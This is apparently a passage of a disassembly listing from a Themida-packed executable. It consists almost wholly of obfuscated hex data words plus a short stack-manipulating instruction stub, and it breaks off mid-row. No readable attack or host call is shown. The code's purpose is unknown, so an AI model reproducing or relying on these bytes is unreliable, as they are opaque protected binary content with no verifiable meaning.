2851A245h dd 0E1AD5A8h, 0A851A25Eh, 8A1523EDh, 2DA05545h, 86902586h dd 2851A245h, 4B7332A3h, 2337AA8Eh, 0A1BE4C97h, 0D5D8AE38h dd 0CF9E4BA8h, 0A0936BB9h, 669E7F54h, 0C8AD66C6h, 11D5FDFh dd 0ED96AE38h, 8A152AA8h, 69C20E45h, 582622B7h, 22FD6276h dd 8AD5078Ch, 54D1A245h, 939125ABh, 1151A245h, 8A152A5Dh dd 7AD453B2h, 8A1FAF5Bh, 10E0A245h, 4B93E256h, 39191EFh dd 319577Fh, 23305E38h, 48DCD611h, 2304A24Dh, 76D1A9B8h dd 0A0242925h, 4D1957DFh, 0A8515E00h, 0B92A54h, 0A7B2229Dh dd 85E1D4h, 22DC0886h, 8DFE4821h, 0F8E173BAh, 0FF9FA7FEh dd 57564927h, 20D6A085h, 215DDF6Eh, 174D629h, 6A985E00h dd 1402A5Ch, 549521A9h, 8260A134h, 6F5DDFCEh, 8A15D611h dd 0AFE9A245h, 75152A54h, 4C7D5FD7h, 20452653h, 0CA2428C8h dd 5BEA2DBFh, 9BFB2BF5h, 85318694h, 0AC59622Eh, 0AEA58050h dd 0A42C89EFh, 0EBE957DDh, 61ADE7CEh, 0DF152296h, 6CD24ECEh dd 0FF9E4AA8h, 0A42C294Dh, 8AE96F93h, 451A245h, 1787D5FEh dd 23564662h, 4917868Ch, 0DDDB2FEFh, 7512C136h, 28E9C494h dd 0BE4CBDh, 0D57A0886h, 7668A358h, 54142924h, 8A1DE89Dh dd 2BBD2910h, 175D690h, 0D5DAAA30h, 7650ED58h, 0A851A245h dd 18EA80F8h, 0AFB585D8h, 58B9E2DFh, 32DC0885h, 8DFE4821h dd 103771BAh, 2173E394h, 83FB63CFh, 0F79C2629h, 0EDDAC3B9h dd 82D7E3A8h, 44DAF745h, 0EAE9EED7h, 2359D7CEh, 0CFD22629h dd 0A851A2B9h, 75BF8654h, 4C763FD7h, 26DDA153h, 25FB6377h dd 61775FCEh, 0CE825D42h, 0ECE4AAECh, 29028EEh, 319577Fh dd 23305E38h, 48DCD611h, 2304A24Dh, 76D1A9B8h, 0A0242925h dd 4D1957DFh, 0A8515E00h, 32732A54h, 3376B77h, 0E860B0D9h dd 7BAEA5AEh, 4B959232h, 4FD0923h, 866801FEh, 0C9ADDFCCh dd 43E96FDFh, 0FD51AA87h, 4E96C6DFh, 0DDDAC2B9h, 8668A15Ch dd 0A8ADE782h, 0EC152A54h, 0CEB824FDh, 0FF8FA7FFh, 57564927h dd 20A09A87h, 25FB0E03h, 61775FCEh, 0CE825D42h, 0ECD8ACECh dd 0A42C89EEh, 0EBE957DDh, 61ADE7CEh, 0DF152296h, 6CD24ECEh dd 8AFD4AA8h, 0F251A245h, 2475C0D5h, 0ED96A5AEh, 8A152AA8h dd 0A0242945h, 261957DFh, 2C5E9179h, 8A152A1Eh, 2C5E8979h dd 8A152A16h, 2C5ECA79h, 8A152A49h, 2C5E1379h, 8A152A38h dd 2A5EF279h, 8A152A5Ch, 2A5EFA79h, 8A152A6Bh, 0A851D6ACh dd 8660D554h, 2559D7BAh, 61BCBFCEh, 32DCF142h, 8DFE8038h dd 0EDD871BAh, 8A42C3A8h, 0DDAEA245h, 8260D558h, 1F438C8h dd 7462DBFh, 43FBCEDFh, 3C6D553h, 92B85E00h, 75152A54h dd 0DDAEAE30h, 3B8FA75Ch, 0FB5649ECh, 2079B0D9h, 7BAEA5AEh dd 63E96FDDh, 0A851A258h, 75195FABh, 32DCAA30h, 8DFE83E9h dd 0C4CB2F16h, 7512C1FEh, 54142B96h, 8A152ABDh, 0EDDAC345h dd 82D7E3A8h, 3044BA45h, 9D8D0000h, 7E40F49h, 2490B8h dd 0F5858900h, 0E807E400h, 0 dd 0D0558h, 3890000h, 2490E9h db 0 byte_5FD3D9 db 3 dup(0) ; DATA XREF: Themida_:005833D4o dd 921h dup(0) db 0 byte_5FF861 db 3 dup(0) ; DATA XREF: Themida_:00583D74o dd 0 dd 3D0CEB00h, 1C106C7Fh, 17575FEDh, 0E90A3DDDh, 5B0h, 5A4E9h dd 52744C00h, 0AFCFA8BEh, 0F29051Bh, 7286657Bh, 0D1EDC8DEh dd 0C59E643Dh, 243ACEEAh, 82982C4Ah, 0E4FA8EA4h, 0A85BEF07h dd 73847BF8h, 0D5213A9h, 6179567Eh, 677D5B29h, 6987612Fh dd 6C886331h, 0C340A234h, 1442A03Ch, 20F42A9Ah, 4813C641h dd 0E8C3DDEFh, 0E7C694CCh, 0F19660CCh, 86DF9BFDh, 8AA4804Eh dd 8BAB8452h, 9B137C53h, 39CDCE4Bh, 188113A9h, 354D2AC8h dd 0B38F5D23h, 13EF0599h, 4914C1F9h, 38042EE6h, 0B8948BBBh dd 0A4EB0A9Eh, 0A63DBA0Ah, 0F40CC50Bh, 23C1538Bh, 5CF72F45h dd 0C8DAF4D0h, 26BAD0AEh, 0FCD7DA4Ch, 435A3B84h, 23391731h dd 99283EEBh, 58D563A9h, 3D53312Ch, 0A2058AA9h, 0C0B59278h dd 81D12AECh, 0DCDDA21Fh, 10796C4Eh, 0E1A320FEh, 0AF6BAAC1h dd 0C61F3513h, 3A1EE18Eh, 9CAD6BB2h, 774BB4E8h, 78C606Bh dd 0B5000000h, 3B89Eh, 0F4922D00h, 0D1EBFD19h, 0D7A5DDF3h dd 0C95CDAFBh, 953F709h, 0F4473CB9h, 0AA131442h, 0D2DA1951h dd 0DD3D5934h, 5051529Eh, 43E0F2A2h, 283E1C03h, 455D3AD8h dd 3E60720Dh, 0FC344A28h, 0A83261Dh, 0EF05E35Ah, 4F69455Bh dd 4F6A4917h, 0C1B7A120h, 86D62F3Eh, 0BBF30BE8h, 91480E20h dd 0B7938ABAh, 0BD2F099Dh, 1599EB26h, 0E7D94096h, 0ABE0F959h dd 0F4C7C0D2h, 1F72D40Dh, 7E942844h, 804E86A4h, 5E7A55A6h dd 0FA328B26h, 5D3AD896h, 0EE963345h, 6B44956Fh, 1F78134Bh dd 81875DCFh, 27B1B33Ah, 0E025F315h, 0B4000000h, 3169454Dh dd 0EC678663h, 2704B3DDh, 5FC1116Ah, 42F41DE2h, 3E50B914h dd 102A061Ch, 0F4542BD8h, 0C6DE1442h, 15EE7454h, 6CE995B6h dd 14429297h, 6F81DA43h, 0CFAB92D2h, 310B21B5h, 300DDB13h dd 0FF7CE018h, 0E0FED847h, 3E5C364Ch, 74127406h, 0A8437B9Bh dd 4292463Dh, 9D781414h, 0E3C82881h, 40B36C27h, 845F798Bh dd 0DCA61868h, 5231217Eh, 0E49B6173h, 0B022590Dh, 3EA49D4Bh dd 5A748676h, 0F4CE6280h, 4E607A56h, 53D5934h, 45232826h dd 4B29F72Fh, 0F7BEFD35h, 30D4034Fh, 63AA51CEh, 0AC291442h dd 144263D7h, 60C91A83h, 8AF5B14Eh, 6A8460AFh, 89677D11h dd 9688C56Ch, 0B30CCCE0h, 6E4BE97Bh, 0B14B4456h, 501442FCh dd 31121C8Eh, 0E6EE6043h, 4F61815Ah, 0AD8BF2B2h, 56320397h dd 4875B78h, 0E3487736h, 0BF9C3A8Ah, 0C2D46FA7h, 3A502EFCh dd 3B5B3402h, 42563503h, 4004CB0Ah, 1B4B1410h, 9C304624h dd 426509A7h, 0FC024F14h, 0DBE05B57h, 0FFFFFEE8h, 6C424D04h dd 0B9F59F1Ch, 0FF9B13A6h, 36D10923h, 0FAD7A5DDh, 7B2092E2h dd 0F4CEB444h, 0EC022436h, 0F1BFF70Fh, 4CAEFE12h, 0A6F628CFh dd 2B3DA613h, 0C0840165h, 5835805Dh, 3D53E740h, 63104860h dd 13A6F699h, 0D883C38Ch, 340E613Ah, 91ABBD16h, 768A69B4h dd 11AF891Dh, 4AE51D33h, 0B4C6E4BEh, 6DA5BD9Ah, 65B5F996h dd 0F6F18603h, 482213A6h, 633DD92Ah, 19720D45h, 55C72907h dd 7466ACC3h, 352E40E2h, 1442BE73h, 6A44D841h, 88D8EECCh dd 8A80740Bh, 6779E21Bh, 13634B44h, 61530D96h, 0D5B4521Ch dd 0FF471C1h, 0CB03F154h, 11715062h, 0F154EF94h, 0F6CF6B03h dd 0AA039ED6h, 6D4B1951h, 0D52E4824h, 44D2B41h, 0E7FDDB28h dd 50FD358Eh, 14710F8Dh, 0AB92D299h, 89FEB0CDh, 22287B57h dd 0E5CCB1Fh, 0E16DC68Eh, 4494ED03h, 367AC5D2h, 0D2E14159h dd 6082940Eh, 1A52704Ah, 8586E4Ch, 5F71916Ah, 3BADFF99h dd 0FE2BC0BCh, 0EDC8541Eh, 0ECFE99D1h, 0F264174Fh, 66100D33h dd 99748636h, 0B1280766h, 0AA51CE30h, 0ED3B76A6h, 3DA6F711h dd 0C38C2Bh, 92B50000h, 0A10115F4h, 0F37F3744h, 0C5DFF129h dd 0A7CCCECh, 5F8F0282h, 0B02D7D2Ah, 144263CBh, 0EA0C1E87h dd 4ADEF8D4h, 0AAF5D270h, 0E47FB7CBh, 0A6B8538Bh, 4999AD8Ch dd 0A6B8CCABh, 44936E84h, 60F44D69h, 0BF536F4Ah, 1DB1CFA9h dd 7F132907h, 0E0748C69h, 718D6806h, 0CBD19739h, 0C742D7F8h dd 67425C6Eh, 7E5DFB4Bh, 8597326Ah, 0EEBC54BFh, 0AC1F911h dd 6C1390F2h, 0EA1442F7h, 92D26F81h, 0FCADD0ABh, 2E1E4F64h dd 902B63BCh, 453AB767h, 11144265h, 0DFBA58A8h, 0DEF08BC3h dd 0EB7109BCh, 79h, 8AFCC67Ah, 546FB262h, 0CA2C2B1Bh, 4F50597Bh dd 72906AF6h, 948D9F3Ah, 1442B3ECh, 0A433734Ah, 5D7D5613h dd 0FC879B0Dh, 562FEAB6h, 465B61F6h, 0E8FA2D6Eh, 0BAD4B0C6h dd 1D311026h, 7C987389h, 0DBF7D2E8h, 39573147h, 9BB18FA5h dd 0C914F107h, 19CD4ECh, 1E4614A8h, 0CC000000h, 0FF37532Eh dd 8D7D5264h, 0A156D335h, 0F21442A0h, 39A9FA18h, 5D392DCEh dd 6476CF22h, 5C7E568Fh, 61795624h, 677D5B29h, 6987612Fh dd 6C886331h, 6F8B6634h, 768A6937h, 7A94703Eh, 7B9B7442h dd 5452EE43h, 4C2815Ah, 83000000h, 148704EAh, 0CF685C24h dd 89000056h, 0A868242Ch, 8900005Dh, 0C9BD2414h, 556D2A16h dd 5D2404FFh, 81DDF74Dh, 3E3AC1F5h, 4EC8195h, 89000000h dd 4832424h, 555A0424h, 0FF243481h, 8F25D102h, 0B8500842h dd 25D102FFh, 58084231h, 5A2434FFh, 4C481h, 34FF0000h dd 0C4835D24h, 0A46DE904h, 7AF0FFF8h, 336C8E63h, 21E24685h dd 0D923B838h, 0C50307EBh, 7E8D38Bh, 67000000h, 0A7D7664Ch dd 13E80353h, 0A8000000h, 0C2131F23h, 513FDDB8h, 0C129A97Eh dd 0AE54A47Bh, 0EFB6316Bh, 0B70F5E5Bh, 88C681D9h, 66000063h dd 2B9DFFBAh, 8B92B7C9h, 60600E3Ch, 0F38B5A53h, 0F00FB961h dd 81610250h, 0CD6BA8F7h, 8E927h, 8E8A0000h, 0B25C3D75h dd 0F7812EC1h, 672E0233h, 0F781CAB2h, 11E89361h, 0E72CD381h dd 8A57798Fh, 0E048FFCh, 0FE9F5h, 0AE6D0000h, 0C33D52A2h dd 5008639Ch, 0A0F23D3Bh, 4E98302h, 49D88166h, 64F981E7h dd 0FFFFF9Dh, 1885h, 68D08100h, 0E903A979h, 4Bh, 0BC67F2BAh dd 0E5D9117Bh, 374A9339h, 0DE856D9h, 0C2000000h, 252A857Fh dd 837A10B2h, 116A789Ah, 0CE9h, 0B269E000h, 0A2180F2Ch dd 0D1C77A8Ch, 0E95B5AC0h, 0FFFFFF57h, 31D4AB2Ch, 17C0E191h dd 6EC387DBh, 1B141801h, 0E92DE1D4h, 2Ah, 2404C7h, 0E8000000h dd 0 dd 0A9ED815Dh, 8B07EBDAh, 89042444h, 0E403AD85h, 0B807h dd 8D8D0000h, 7E44FE7h, 54B8E1FFh, 8D000067h, 0EBDB958Dh dd 8E907h, 2AA0000h, 4DA06374h, 8D897140h, 7E41B71h, 0B1D9D89h dd 85C707E4h, 7E42DA1h, 6F24h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 0BFC35747h, 87E4D3BBh, 0AE882h db 2 dup(0) word_5FFFA6 dw 0EE66h ; DATA XREF: Themida_:005847ACo dd 0BDA29BFCh, 0B257DA5h, 4399D03h, 895A07E4h, 0E4232195h dd 0B985C707h, 7E422h, 8B000000h, 0E42D119Dh, 0F1B5FF07h dd 0E907E42Bh, 7, 0A8921E05h, 0F72F267h, 68Bh, 89B58B00h dd 0FF07E422h, 0E4306195h, 51006A07h, 3E8h, 0C3592000h dd 244C8959h, 24448104h dword_600004 dd 1404h, 0C3514100h, 6810FA2h, 81000000h, 5B306BCBh, 0FF006A27h ; DATA XREF: Themida_:00584E84o dd 0E40E4195h, 0EBC08B07h, 0F5ABDB1Ah, 0CC493E19h, 0B764E5D2h dd 5C9E4910h, 0D3A80EE5h, 87EFA7E3h, 0E9681227h, 19h, 3596946Ch dd 5 dup(0) dd 0D3CE900h, 0E8680000h, 0E907EBDDh, 0FFF8A21Bh, 0EBDF0068h dd 0A211E907h, 0B868FFF8h, 0E907EBDFh, 0FFF8A207h, 0EBE02568h dd 0A1FDE907h, 6568FFF8h, 0E907EBE3h, 0FFF8A1F3h, 0EBE6B868h dd 0A1E9E907h, 0AE68FFF8h, 0E907EBE7h, 0FFF8A1DFh, 0E5799B73h dd 42D6F6CFh, 0A236502Ch, 599AD8Ch, 64F814EFh, 11EC658Bh dd 714B61F5h, 0CBA9BF53h, 2E0B21B5h, 1FCF8216h, 0A97CDDA2h dd 0A5347913h, 0F5F7B56h, 457D9371h, 4D298AAh, 5D7C1026h dd 566A4932h, 320FADFDh, 0AD2A081Ah, 13A6B4B7h, 97447CE5h dd 13A6B5E4h, 38542Fh, 73F5332h, 327E26A3h, 0E19DC9DAh dd 0D878081Eh, 3FB7h, 424DE000h, 819F1C6Ch, 0D013A6A1h dd 293B5732h, 17A9E14Ah, 49819F79h, 0D8A39CAEh, 3B13A6A2h dd 3C0A4262h, 560D4561h, 6484C77Fh, 23966530h, 9EAF0760h dd 1549B6E6h, 78ED877h, 0B7000000h, 8A29Eh, 79562D00h dd 0A016ED6Ah, 5BC41442h, 1FFCCA02h, 27997307h, 59B4576Dh dd 98B28E26h, 850A2D3Fh, 525CD929h, 2013A6F5h, 29D27FB7h dd 9E13A6FAh, 5AA5D98Dh, 7BD877C3h, 20h, 6C424DA4h, 0A9E99F1Ch dd 3EA713A6h, 0AAA65906h, 142513A6h, 7D32C50h, 0FD04D878h dd 2D000000h, 11617956h, 18BAE19Fh, 0B5943697h, 75CE69A1h dd 6D0B9D63h, 6F3D7593h, 0A43F7795h, 441F394Bh, 4522F028h dd 0F163F52Dh, 137FFBA4h, 0E5FF11D1h, 54B2E908h, 826B108Dh dd 7EE71442h, 40ACF1Eh, 11468745h, 0EB449D4Bh, 9E1B7D57h dd 14424CD9h, 1FA0C75h, 1442489Eh, 34849C79h, 2AA7BC96h dd 14425155h, 0B33F9801h, 88AABCD8h, 457D9572h, 223615B3h dd 0CA2ED10h, 45C53FBCh, 1A8C13A6h, 51CED191h, 13A7F6AAh dd 565FBF28h, 23021471h, 0F0CC6ABAh, 83A2C4D6h, 0D552A20Ch dd 1441D1DAh, 7DDF2F98h, 0D9EB01DFh, 34C8E4BFh, 0D327431Eh dd 62359E2Ch, 7D850B4Bh, 3E00000Ah, 9AB04466h, 0F70DA1C1h dd 576D011Bh, 0BAD06478h, 562FC3DFh, 0C0DCB790h, 1E3C162Ch dd 8096748Ah, 0E1F9D6ECh, 6DEA9A4Dh, 13A97D96h, 5670FF44h dd 0B5CB5F7Bh, 67AE8DD8h, 0DE166F8Dh, 8556EA43h, 1C6C424Dh dd 0A6A9E99Fh, 63EA713h, 56930274h, 455C23A0h, 91FA13A6h dd 0E8B6B931h, 1DB8F00Eh, 0C6B9B2C4h, 8513A65Bh, 0AF54D133h dd 2B13A65Bh, 5313B0C2h, 7716D42Bh, 0D201D8h, 562A0000h dd 0D9C15A79h, 48686C6Eh, 0EE9B7EFh, 0C340A2F2h, 14422B3Ch dd 591F319Ah, 422F33ACh, 0FC472414h, 1CB0091Dh, 0FFDE2906h dd 835A92EBh, 0D552A20Ch, 13A62453h, 7F19B022h, 0EB860772h dd 4191FAD9h, 7A93E3CFh, 3AC6E5D2h, 710C445Eh, 0C5633D5Fh dd 0A9C39FE6h, 457DD671h, 2B3F1EAAh, 1599F619h, 0EAC563C5h dd 75F496CEh, 6BD256F1h, 1A13257Eh, 14404EBEh, 751363CCh dd 0CC2E7E9Ah, 884FA84Fh, 0F80CEB1Bh, 0A2C3EA7h, 0A9FD19F4h dd 62373160h, 6565EB2Bh, 56000009h, 0B2C85C7Eh, 0F25B9D9h dd 6F851933h, 0D2E87C90h, 6E47DBF7h, 0D8F4CF88h, 36542E44h dd 98AE8CA2h, 0F911EE04h, 8502B265h, 13A97FFEh, 5688175Ch dd 0B5CB5F7Bh, 5B2CC0D8h, 29617956h, 0D2667E5Bh, 621996F8h dd 0F01442A0h, 8617554h, 5948CBF6h, 3BFA74E7h, 0D754CCD5h dd 14428F20h, 0DAEC45AEh, 86D6D8B7h, 0A6A35B09h, 97A00913h dd 63CB2C8Ch, 1995FABAh, 0DF24CC9h, 0FF61A20Fh, 0CF0DFD82h dd 0DEF059ADh, 875E96FFh, 0D956A608h, 0AA28BD81h, 0BFDDB753h dd 4393EC87h, 1CB0C8A5h, 0FFBAD042h, 20A9AD53h, 0BDCF2846h dd 5AAEC6A3h, 0B08C92B9h, 0AD20A6E6h, 0E000008h, 6A801436h dd 0C7DD7191h, 273DD1EBh, 8AA03448h, 26FF93AFh, 90AC87C0h dd 0EE0CE6FCh, 5066445Ah, 0B1C9A6BCh, 3DBA6A1Dh, 13A97F46h dd 5640CF14h, 52296179h, 0A421713Dh, 13A6861Ah, 0E17FCF38h dd 4359ED03h, 6A174F65h, 13A68795h, 0A6975427h, 0D5D9B613h dd 82AA0885h, 4FB81442h, 546C4917h, 39D41D00h, 0D0569662h dd 840h, 0ED81A37Bh, 4ADEFED7h, 0AA3E5834h, 0DA1B594h dd 6C001CF7h, 19F46D93h, 795369FDh, 0D3B1C75Bh, 361329BDh dd 27D78A1Eh, 0A940D5AAh, 0AD3C8113h, 1C6C424Dh, 0A0463DBAh dd 0AB141442h, 1A2C401Fh, 0B5E1BF3Ch, 66F13A6h, 72700CEh dd 263A19B7h, 3DCF214h, 0C1D4ABE3h, 75C5DDBAh, 0A6B503F8h dd 0D66CF13h, 27451FBDh, 644254EFh, 0A6B528E7h, 558DF613h dd 0DC9FC79Eh, 3413643Eh, 0FA77C720h, 13A6B505h, 3C5668D1h dd 0BAAF4363h, 13A6B5C1h, 0EE6B4C49h, 13A6B509h, 1FC5CC5h dd 172DF25Fh, 0EB68B811h, 13A63738h, 2F2576E6h, 2EEF1A0Ah dd 71A9C9A2h, 0D3E97DD6h, 0B0CCA7FAh, 9269E678h, 4013A6B9h dd 0D5257ED7h, 73F5D37h, 0E7945A6Ch, 13A6B9ECh, 908FB78Eh dd 0ED0397B7h, 0FBCF414h, 13A6BA3Ch, 100F370Eh, 0A9831737h dd 0E0182C0Bh, 85103345h, 0A25CD929h, 3113A6BAh, 659DB793h dd 6FD7ACAh, 0D413A6BAh, 0DE7A596Bh, 1A97E703h, 13A6BA65h dd 0F72F88F1h, 0C7DED84Ah, 586C4B67h, 5A785220h, 6B1BE422h dd 86BECF27h, 169F29D6h, 169AE64h, 4DD70000h, 0BA1C6C42h dd 17293D1Ch, 0A6A9141Eh, 81D13A13h, 0E0BB06E3h, 98F18CC4h dd 0C611EE04h, 0FA95CDEDh, 0A1BC69A1h, 2094E002h, 9F7CE3A3h dd 0BB993787h, 0C0D26DA5h, 9CAB889Eh, 6815581Fh, 0C7DDBB9Bh dd 3AA3F48Fh, 0C3D2A9E1h, 624157EBh, 1284164Eh, 0FD6A094Dh dd 0A5BFD149h, 61CB0C8h, 2CD91129h, 0E9E28A81h, 5CC38300h dd 0BDD3677Fh, 0B990C8E0h, 995EDBDCh, 3515F7F5h, 0A62373CCh dd 15F7F5D1h, 0C5D40C7Eh, 5E4FC7E5h, 95306882h, 410CDC3Ch dd 0B8003EBDh, 0CA5EC7A6h, 85BDD9B4h, 77C7E7AEh, 0F7CA09FAh dd 5A39D515h, 0FF9DED46h, 0DFF9D524h, 78527486h, 0D0E200DAh dd 71C1D9B6h, 66E3FAD3h, 15F7CA91h, 437BD43Dh, 0D57148A8h dd 694075FAh, 61FF9157h, 3E586A86h, 580F4763h, 7D5AC581h dd 98771565h, 9FB14C84h, 728A677Dh, 7C32633Ah, 0A2C0AF2Ch dd 0F18F15F7h, 0C753F712h, 0E71C733Ah, 0FBE02E8Eh, 38DCCE35h dd 4ADE4726h, 73F5734h, 0D455B39h, 0E05F07CEh, 4157EB03h dd 1C3D1964h, 0B55BD22Ah, 0C2126B1Bh, 0F7EABE45h, 5AB31C15h dd 75916C0Ah, 0CA90A23Dh, 0BC0CA2F3h, 0F7EAAC3Fh, 69B92215h dd 0C5D7EDCBh, 99AF8DA3h, 0AC0B8A61h, 0F7EA482Fh, 449D0615h dd 0EA9077F4h, 0C15F15F7h, 0DCBBCDE3h, 560EDF73h, 0AECD6179h dd 0F23C6E1h, 0DDDA8DA8h, 21B73484h, 7013A6D0h, 60876BFEh dd 0E6E36E2Ah, 2C4CACF6h, 0D3B2C424h, 9E7C1A6Ah, 4F297C55h dd 5A0D831h, 8BAE48A5h, 4CA51E8Fh, 37518AFCh, 73F5332h dd 0A6400C6Ch, 0E244658h, 0BC0DE730h, 0F691C9DDh, 71CA659Dh dd 8FA58321h, 0AFE0B77Dh, 8832AFFFh, 0C614428Ah, 0F593255Dh dd 2DC80018h, 8359221Bh, 0DEB11B8Ah, 801E80D0h, 0B55088A6h dd 0F60CAAA3h, 0EA5A1C6Eh, 1529F85Ch, 3C5A347Eh, 0B7106904h dd 0BCD4B17Fh, 55E0BF68h, 42C8085Ah, 500h, 2DC1E3BBh, 8A1E3E17h dd 0EA7E9874h, 4DE1F5D4h, 0AC405C37h, 59342DD3h, 0B993A93Dh dd 13F1079Bh, 765369FDh, 6717CA5Eh, 0A94315EAh, 0ED7CC113h dd 1C6C424Dh, 0A0463DBAh, 78141442h, 14267F9Fh, 80D3B936h dd 31A113A6h, 0F4D0BFA1h, 889F7ADAh, 0F2D0793h, 2FD17EB6h dd 9E13A65Ch, 0B9D1AE4Ch, 1F5A0AA7h, 538BA581h, 34CBA6B8h dd 0A1D87721h, 0DBh, 1AE14FC1h, 4F379278h, 0F1035C70h dd 17F4921Ch, 3BF4EDFFh, 0EF1442A0h, 3BC03D9Fh, 971442A0h dd 0A0C5BA37h, 28911442h, 84D8BDCFh, 0DEF00AE6h, 7FCFE7C4h dd 3CE603E1h, 615C01CCh, 0D1F3055Eh, 7FCFDFB2h, 0B93EBB1Dh dd 151442CBh, 0D2A19AACh, 801442CBh, 4C29C717h, 942A412Dh dd 99F2F9CAh, 16F3C187h, 464B6AFEh, 0EC9B1868h, 7B1442CBh dd 70ED04DDh, 1442CB8Bh, 7385DE47h, 69DB2B94h, 52BD5EF2h dd 0F4BACC8Fh, 9D314926h, 4B9B137Eh, 53714BE9h, 0CB974841h dd 0DB3B1442h, 0AB04E069h, 2F9ADB44h, 1442A348h, 0F4449D06h dd 29617956h, 9B67C8Eh, 1442E376h, 0B1A5E1B8h, 0E07ECEE0h dd 19B4EC02h, 0F3AC2907h, 9F1442E3h, 84F72D2Fh, 60B99EB1h dd 0C1FECCh, 928D0000h, 898B5020h, 3446C934h, 0E0307E11h dd 0A6E54563h, 72AA1313h, 5CACCAA4h, 0B9CBDFBEh, 921C7897h dd 0C632C542h, 37A013A6h, 730885E7h, 0DF13A6C6h, 0F19E6476h dd 0EC5939F1h, 0C0FBABBCh, 0C61AE15Eh, 4FB813A6h, 0B79D623Dh dd 703AD877h, 5A000000h, 78FCAFE8h, 62740384h, 67474D8Dh dd 0A0E59A17h, 0D4721442h, 0BAD0AEF5h, 1A972961h, 1442A065h dd 1D2F88F1h, 0CF9DD53Eh, 2443D7F5h, 71EE3E70h, 1442A0DEh dd 46F32B94h, 1442E1B5h, 643FDDF5h, 63421048h, 47E4F64Fh dd 0E2BE5C1Fh, 0E3F590C8h, 8ADAD4C0h, 42E1220Dh, 52CF3114h dd 1442E1ADh, 0E1D6AD2Ah, 1B841442h, 704F61CAh, 56A27307h dd 97296179h, 0F3CF1EF9h, 546E80D9h, 0ACCB5F77h, 5A36D4E3h dd 26D0840h, 1442A07Dh, 0C71770D9h, 0A6B3404Ah, 6DA50E13h dd 7FC79DBh, 0D313A6B4h, 9C5F586Ah, 0F713A6B4h, 0FDCB0319h dd 8DCC0424h, 0C49F9EC6h, 0E6F74FA8h, 0A01FEBEh, 3597D878h dd 0A6BCC3B8h, 94468013h, 6B44ED3Fh, 463DBA1Ah, 1413A6EDh dd 0A14052ABh, 45h, 75424DCAh, 0A0E19613h, 46D1442h, 42A0E299h dd 0AE077014h, 0C4E3C05Eh, 5A9A8F19h, 0FD358E53h, 0F5725062h dd 13A64C3Fh, 0CA5C94FDh, 1394D2Ch, 0A05B5466h, 2713A64Eh dd 0D12E6E16h, 6D87723h, 0EAh, 6179562Fh, 64805B29h, 18289A2Ch dd 0FF47187h, 0CB1442A1h, 0DEDB0262h, 0D6B3CDDFh, 34FC6EBEh dd 7D2925D8h, 8567AD6Ch, 2F9B825h, 7F5C2AF0h, 0FDDED367h dd 561442F0h, 39512E79h, 3C583301h, 0B7106904h, 18300D23h dd 344E2AC8h, 894F61FCh, 81D1DDB2h, 0A6F79604h, 0C75BC413h dd 0A9A47BEDh, 719E4B93h, 5B533C5Fh, 49BA8E0Bh, 48B81440h dd 813322AAh, 1A97E7F7h, 1B88C465h, 0DF2F88F1h, 0B64A6641h dd 55A9C5A0h, 6237BCDCh, 0AD39BFFFh, 0E000001h, 6A801436h dd 0C7DD7191h, 273DD1EBh, 8AA03448h, 26FF93AFh, 90AC87C0h dd 0EE0CE6FCh, 5066445Ah, 0B1C9A6BCh, 3DBA6A1Dh, 13A94646h dd 5640CF14h, 278D587Bh, 15CCA936h, 0DC4E28BCh, 93D7D226h dd 2B633A9Bh, 7EC677D7h, 0AB88A2B4h, 8725FF93h, 0C15C94A8h dd 424DDAAFh, 0A6AA1C6Ch, 0C452F362h, 0CB482638h, 13A65305h dd 85326AD3h, 13A7A3FAh, 55044051h, 88C0DCB7h, 0FF00DBEDh dd 99D8770Eh, 0F6081CFBh, 0A557h, 79568000h, 805B2961h dd 0E53E5231h, 0A49F00ADh, 9B781442h, 0FCD9EF83h, 0BAD5ACE4h dd 0A442A4F4h, 0A59EB0C6h, 13A6AB37h, 9CEFC866h, 134BA4C2h dd 1E876678h, 8EF6CCEh, 0C613A6B4h, 0A294B5Dh, 5CD92985h dd 1440525Bh, 0B249C628h, 201B885Bh, 5DC6A5B7h, 330DAB0Dh dd 0EE90315h, 6D485EF2h, 263EFD51h, 71B16237h, 0B7EBh dd 0A2C0400h, 67876076h, 0C7E1BDD3h, 2A3E1D33h, 89A58096h dd 7DD61CF5h, 0DCF286A2h, 3A50E402h, 9CB2465Ch, 6013A7BFh dd 474C33B0h, 0C50A13A9h, 5F7B5636h, 0C0D8B5CBh, 79565B2Ch dd 0F9972961h, 31CC041Ch, 1028051Fh, 2604A27Ch, 0B4DBFE10h dd 0EB2DAAFAh, 0B913A97Bh, 6D4A1850h, 89670555h, 293F6173h dd 4FFC344Ch, 21D401A0h, 0B9A4E05Dh, 1A30C4DCh, 73D5253Dh dd 2BF901F6h, 5264CD2Eh, 0CBDFBE8Ch, 0E800DD7Bh, 654210D6h dd 6B47154Dh, 38B51951h, 0B7CF440Ch, 0EC243C19h, 0FF840151h dd 5B2E2BF9h, 343E0F2h, 93273F1Ch, 5088A07Dh, 3CAh, 3E8D5900h dd 245C7E56h, 29617956h, 2F677D5Bh, 31698761h, 346C8863h dd 376F8B66h, 3E768A69h, 427A9470h, 437B9B74h, 0E38953EEh dd 4C381h, 0BF570000h, 4, 875FFB29h, 685C241Ch, 1FB3h dd 56241C89h, 0C681E689h, 4, 4EE81h, 34870000h, 2C895C24h dd 0DC1D6824h, 545B07EBh, 81242C8Bh, 4C4h, 4EC8100h, 89000000h dd 458F241Ch, 242C8B08h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov ebx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_58A287 ; --------------------------------------------------------------------------- dd 235BF286h, 8D1635E0h, 8AB883FEh, 307EBE8h, 0F4E0FFC5h dd 4A385DF3h, 0C20F61DFh, 89421E15h, 0B1524FB6h, 7D156785h dd 0D929AAD1h, 0F96C9149h, 617785DDh, 0CE69FCE5h, 0BA14B672h dd 0A832DD59h, 0DF3CCC8Fh, 0F41AD0EEh, 0B9670E82h, 1D033B2Ch dd 8C5798D9h, 0E83BB0FCh, 0Ch, 0C3E922Ch, 0C7DC6EE4h, 7E0EA353h dd 0C0BF0F59h, 6F54C181h, 16B00000h, 1BA668h, 850F5000h dd 3, 5FFBBF0Fh, 0CE95Ah, 0C7C40000h, 0E107A70Bh, 1E83DEh dd 198B61F0h, 0F381F38Bh, 2BA885E9h, 0F381C18Bh, 762EF7A3h dd 5E9h, 98F61F00h, 0F381F825h, 6EAF9EDCh, 89F3BF0Fh, 56B46019h dd 9E8h, 63C5AF00h, 